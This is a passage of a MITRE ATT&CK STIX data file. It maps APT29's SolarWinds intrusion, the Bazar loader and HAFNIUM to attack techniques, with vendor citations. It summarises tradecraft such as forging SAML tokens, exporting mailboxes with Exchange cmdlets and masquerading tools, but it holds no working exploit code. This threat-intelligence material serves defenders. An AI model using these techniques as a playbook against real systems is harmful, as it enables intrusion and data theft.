            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [APT29](https://attack.mitre.org/groups/G0016) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--60165254-794f-4ca9-9ab8-8931ee537bbd",
            "type": "relationship",
            "modified": "2021-04-19T13:12:16.027Z",
            "created": "2021-04-16T21:33:50.772Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) added their own devices as allowed IDs for active sync using <code>Set-CASMailbox</code>, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)",
            "relationship_type": "uses",
            "id": "relationship--6e56f781-0841-4d10-9b84-8a97447cb124",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.783Z",
            "created": "2021-04-16T21:33:50.783Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--c38e9a18-170d-46a8-8e39-c49e03785341",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.781Z",
            "created": "2021-04-16T21:33:50.781Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--c728d182-02d4-46a3-9c34-6ff0beacd274",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.793Z",
            "created": "2021-04-16T21:33:50.793Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) created tokens using compromised SAML signing certificates.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)",
            "relationship_type": "uses",
            "id": "relationship--aa3b0f22-8525-4009-9273-2ad1ca6dd8dd",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.779Z",
            "created": "2021-04-16T21:33:50.779Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--796f56ac-a97a-4038-a005-1523a185e059",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.813Z",
            "created": "2021-04-16T21:33:50.813Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) removed evidence of email export requests using <code>Remove-MailboxExportRequest</code>.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--47deef6a-6f62-4cd7-9601-4edcd7c13125",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.786Z",
            "created": "2021-04-16T21:33:50.786Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They have also used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--3e2dc733-ee2e-4c5a-b65b-3de0f86b2da0",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.816Z",
            "created": "2021-04-16T21:33:50.816Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) renamed a version of [AdFind](https://attack.mitre.org/software/S0552) to <code>sqlceip.exe</code> or <code>csrss.exe</code> in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--6828b200-b067-4667-9a77-9e434a625eaf",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.834Z",
            "created": "2021-04-16T21:33:50.834Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used the <code>Get-ManagementRoleAssignment</code> PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--5c3df273-cd0b-45ed-b717-d55b49ae596e",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.795Z",
            "created": "2021-04-16T21:33:50.795Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) was able to get [SUNBURST](https://attack.mitre.org/software/S0559) signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--ada6cb59-1735-492a-a9a2-f03ca8125e29",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.797Z",
            "created": "2021-04-16T21:33:50.797Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained information about the configured Exchange virtual directory using <code>Get-WebServicesVirtualDirectory</code>.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--40b9a9cb-1242-4c3f-9e4b-9e1360dc02b2",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.815Z",
            "created": "2021-04-16T21:33:50.815Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ",
            "relationship_type": "uses",
            "id": "relationship--503b8bba-7a0c-4923-a209-21b4b6f560c9",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.830Z",
            "created": "2021-04-16T21:33:50.830Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--7f3ab5d7-b58e-48a4-b839-082cc8160203",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.832Z",
            "created": "2021-04-16T21:33:50.832Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--92f74577-0751-447a-a6e5-66d2327be1c5",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.931Z",
            "created": "2021-04-16T21:33:50.931Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) collected emails from specific individuals, such as executives and IT staff, using <code>New-MailboxExportRequest</code> followed by <code>Get-MailboxExportRequest</code>.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--9a891657-d9e7-41b5-92b0-2424167e10d3",
            "type": "relationship",
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                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has downloaded additional tools, such as [TEARDROP](https://attack.mitre.org/software/S0560) malware and [Cobalt Strike](https://attack.mitre.org/software/S0154), to a compromised host following initial access.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--3c89c7b8-facc-4225-94ba-4a5126a31adc",
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used <code>cmd.exe</code> to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
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                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) developed [SUNSPOT](https://attack.mitre.org/software/S0562), [SUNBURST](https://attack.mitre.org/software/S0559), [TEARDROP](https://attack.mitre.org/software/S0560), and [Raindrop](https://attack.mitre.org/software/S0565); [SUNSPOT](https://attack.mitre.org/software/S0562) and [SUNBURST](https://attack.mitre.org/software/S0559) were tailored to be incorporated into SolarWind's Orion software library.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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            "id": "relationship--4e7404a5-2d19-48cc-b906-ab1aca4f4b08",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained a list of users and their roles from an Exchange server using <code>Get-ManagementRoleAssignment</code>.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--3a611251-b7c8-482d-96e3-5795b58bcd9e",
            "type": "relationship",
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            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--27105f46-f5a8-4a9d-96b0-9b0837a23331",
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) named tasks <code>\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager</code> in order to appear legitimate.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--0b5dff22-ab33-495c-b65f-97a0f7e6cfd5",
            "type": "relationship",
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            "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) gained initial network access to some victims via a trojanized update of SolarWinds Orion software.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--489601ef-9902-4213-a442-1b9b1439fec8",
            "type": "relationship",
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534) has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.(Citation: NCC Group Team9 June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--532db73a-7b3e-44a5-9115-6c366766a756",
            "type": "relationship",
            "modified": "2021-04-16T21:43:13.711Z",
            "created": "2021-04-16T21:43:13.711Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
                }
            ],
            "description": "[Bazar](https://attack.mitre.org/software/S0534)'s loader can delete scheduled tasks created by a previous instance of the malware.(Citation: NCC Group Team9 June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--5ce164a0-967d-4232-860d-7e5903bb3267",
            "type": "relationship",
            "modified": "2021-04-16T21:43:13.764Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to click on a malicous link.(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--616bf309-ed87-4573-8640-416e6f05285d",
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "revoked-by",
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            "type": "relationship",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "external_references": [
                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used TCP for C2.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--f503c254-b86c-433e-8107-585c53f23b6e",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
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                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used ASCII encoding for C2 traffic.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--f8fe4311-f367-42bb-a51d-688753d0218b",
            "type": "relationship",
            "modified": "2021-04-19T17:50:00.119Z",
